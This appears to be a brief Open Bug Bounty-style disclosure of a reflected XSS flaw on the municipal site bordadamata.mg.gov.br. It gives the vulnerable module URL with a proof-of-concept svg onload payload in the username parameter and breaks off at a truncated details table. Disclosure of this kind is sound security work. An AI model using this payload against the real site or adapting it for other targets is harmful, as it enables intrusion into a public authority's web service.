bordadamata.mg.gov.br XSS vulnerability

Vulnerable URL: http://www.bordadamata.mg.gov.br/modules/modjoinstagrambox/tmpl/instagrambox.php?username=xss%22%3E%3Csvg/onload=prompt/openbugbounty/%3E=〈=pt-BR=true=true=100%=375pxℑ=medium=00563C=F8F8F8=FFFFFF==260796206.0efbe26.89a76a9668934089a2d00d928486fd26 Details: Description| Value ---|-...